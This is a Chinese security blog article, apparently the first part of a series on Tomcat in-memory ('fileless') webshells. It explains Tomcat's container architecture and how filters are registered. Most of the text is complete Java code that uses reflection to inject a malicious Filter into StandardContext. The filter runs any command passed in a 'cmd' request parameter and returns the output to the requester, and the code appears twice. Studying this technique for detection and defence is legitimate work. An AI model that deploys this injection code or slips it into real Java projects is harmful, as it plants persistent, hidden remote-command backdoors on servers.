内存马技术早在前几年就已经在广泛使用,通俗的名字为不落地马或者无文件马。这种马的实现技术相对于传统马来说更为复杂,但是随着产品安全防护等级的不断提高,内存马技术也就运用而生。好在是这一块领域很多师傅都以已经趟过坑了,笔者站在巨人的肩膀上总结梳理内存马技术,打算出一个系列专题详细分析tomcat内存马的不同类型以及其内存马检测及查杀技术。
现有的内存马主要分为四个类型,Listener型、Filter型、Servlet型以及Agent型,不同类型的内存马涉及到的知识点也不太一样。在用户请求网站的时候, 前三个内存马的触发顺序为Listener -> Filter -> Servlet。
-
Server:表示整个 Tomcat Catalina servlet 容器,Server 中可以有多个 Service。 -
Service:表示Connector和Engine的组合,对外提供服务,Service可以包含多个Connector和一个Engine。 -
Connector:为Tomcat Engine的连接组件,支持三种协议:HTTP/1.1、HTTP/2.0、AJP。 -
Container:负责封装和管理Servlet 处理用户的servlet请求,把socket数据封装成Request,传递给Engine来处理。 -
Engine:顶级容器,不能被其他容器包含,它接受处理连接器的所有请求,并将响应返回相应的连接器,子容器通常是 Host 或 Context。 -
Host:表示一个虚拟主机,包含主机名称和IP地址,这里默认是localhost,父容器是 Engine,子容器是 Context。 -
Context:表示一个 Web 应用程序,是 Servlet、Filter 的父容器。 -
Wrapper:表示一个 Servlet,它负责管理 Servlet 的生命周期,并提供了方便的机制使用拦截器。
-
endpoint:处理来自客户端的连接请求。 -
processor:接受来自endpoint的socket,读取字节流解析成Tomcat的request和response对象。 -
adapter:将封装好的request转交给Container处理,连接Connector和Container。
package com.example.tomcatresponselearn.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@Controller@RequestMapping("/app")public class TestController { @RequestMapping("/test") @ResponseBody
public String testDemo(String input, HttpServletResponse response) throws IOException { return "Hello World!";
}
}
0x3 添加Maven地址
https://repo.maven.apache.org/maven2
0x1 Tomcat 加载注册Filter
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);this.context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);this.context.addFilterMapBefore(filterMap);
-
filterDefs:包含过滤器实例和名称 -
filterMaps:包含所有过滤器的URL映射关系 -
filterConfigs:包含所有与过滤器对应的filterDef信息及过滤器实例
-
获取standardContext -
创建Filter -
使用filterDef封装Filter对象,将filterDef添加到filterDefs -
创建filterMap,将URL和filter进行绑定,添加到filterMaps中 -
使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中
Tomcat在启动时会为每个Context都创建个ServletContext对象,表示一个Context。从而可以将ServletContext转化为StandardContext。
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() { @Override
public void init(FilterConfig filterConfig) throws ServletException {
} @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output); return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() {
}
};
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上standardContext.addFilterMapBefore(o1);
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
Field Configs = null;
Map filterConfigs;try { //Step 1
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext); //Step 2
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() { @Override
public void init(FilterConfig filterConfig) throws ServletException {
} @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); //
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output); return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() {
}
}; //Step 3
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o); //Step 4
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //Step 5
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
参考文章
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell/
https://paper.seebug.org/1441/#1jsp-webshell
https://blog.csdn.net/littlewhitevg/article/details/107671946
https://www.cnblogs.com/chuonye/p/10770984.html
- 结尾 - 精彩推荐 【技术分享】云沙箱流量识别技术剖析 【技术分享】从合规角度谈企业App使用第三方SDK时个人信息保护措施 【技术分享】如何保护深度学习系统-后门防御 戳“阅读原文”查看更多内容
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论